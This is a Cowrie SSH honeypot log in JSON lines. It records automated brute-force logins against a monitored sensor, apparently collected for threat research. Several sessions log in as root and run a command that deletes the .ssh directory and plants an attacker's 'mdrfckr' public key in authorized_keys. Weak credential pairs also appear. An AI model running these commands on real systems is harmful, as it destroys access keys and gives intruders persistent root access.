{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":34098,"dst_ip":"10.17.0.5","dst_port":22,"session":"a132f99b10e3","protocol":"ssh","message":"New connection: 27.111.32.174:34098 (10.17.0.5:22) [session: a132f99b10e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:28.644860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:28.649266Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:28.897594Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xy123456@","message":"login attempt [root/Xy123456@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:29.923980Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:30.462376Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:30.465558Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:30.469203Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:30.720928Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:31.259221Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:31.262563Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:31.516949Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:31.520503Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":34110,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35d117f203f","protocol":"ssh","message":"New connection: 27.111.32.174:34110 (10.17.0.5:22) [session: a35d117f203f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:31.765452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:31.769534Z","src_ip":"27.111.32.174","session":"a35d117f203f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:32.024340Z","src_ip":"27.111.32.174","session":"a35d117f203f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:33.063705Z","src_ip":"27.111.32.174","session":"a35d117f203f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:34.320047Z","src_ip":"27.111.32.174","session":"a35d117f203f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"083cfab6705b","protocol":"ssh","message":"New connection: 27.111.32.174:52234 (10.17.0.5:22) [session: 083cfab6705b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:34.565672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:34.570592Z","src_ip":"27.111.32.174","session":"083cfab6705b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:34.819838Z","src_ip":"27.111.32.174","session":"083cfab6705b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:35.847863Z","src_ip":"27.111.32.174","session":"083cfab6705b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:36.099857Z","src_ip":"27.111.32.174","session":"a132f99b10e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:17:36.104605Z","src_ip":"27.111.32.174","session":"083cfab6705b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":30198,"dst_ip":"10.17.0.5","dst_port":22,"session":"d05f454ffae4","protocol":"ssh","message":"New connection: 64.188.83.153:30198 (10.17.0.5:22) [session: d05f454ffae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:09.632252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:09.636719Z","src_ip":"64.188.83.153","session":"d05f454ffae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:09.721391Z","src_ip":"64.188.83.153","session":"d05f454ffae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aroot","password":"aroot1234","message":"login attempt [aroot/aroot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:10.094776Z","src_ip":"64.188.83.153","session":"d05f454ffae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":47610,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c142591460","protocol":"ssh","message":"New connection: 61.245.10.43:47610 (10.17.0.5:22) [session: 96c142591460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:10.906383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:10.910306Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:11.161003Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:11.199306Z","src_ip":"64.188.83.153","session":"d05f454ffae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.62","src_port":40642,"dst_ip":"10.17.0.5","dst_port":22,"session":"8273c279a44e","protocol":"ssh","message":"New connection: 64.62.197.62:40642 (10.17.0.5:22) [session: 8273c279a44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:11.336617Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003p\\xfaC\\x8b3\u000b\\xb6\\x93rz\u007f\u037a\\xf0\\xb1K\u001f\\x8b>\\xf8AhJ\u043e8Z_\u00d2\\x9e\\x96\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003p\\xfaC\\x8b3\u000b\\xb6\\x93rz\u007f\u037a\\xf0\\xb1K\u001f\\x8b>\\xf8AhJ\u043e8Z_\u00d2\\x9e\\x96\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:11.341313Z","src_ip":"64.62.197.62","session":"8273c279a44e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:11.344759Z","src_ip":"64.62.197.62","session":"8273c279a44e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xy123456@","message":"login attempt [root/Xy123456@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:12.194687Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:12.976851Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:12.979634Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:12.982652Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:13.235502Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:13.780822Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:13.784232Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:14.040340Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:14.044083Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":47614,"dst_ip":"10.17.0.5","dst_port":22,"session":"244509d5a5cf","protocol":"ssh","message":"New connection: 61.245.10.43:47614 (10.17.0.5:22) [session: 244509d5a5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:14.288751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:14.293269Z","src_ip":"61.245.10.43","session":"244509d5a5cf","protocol":"ssh"}
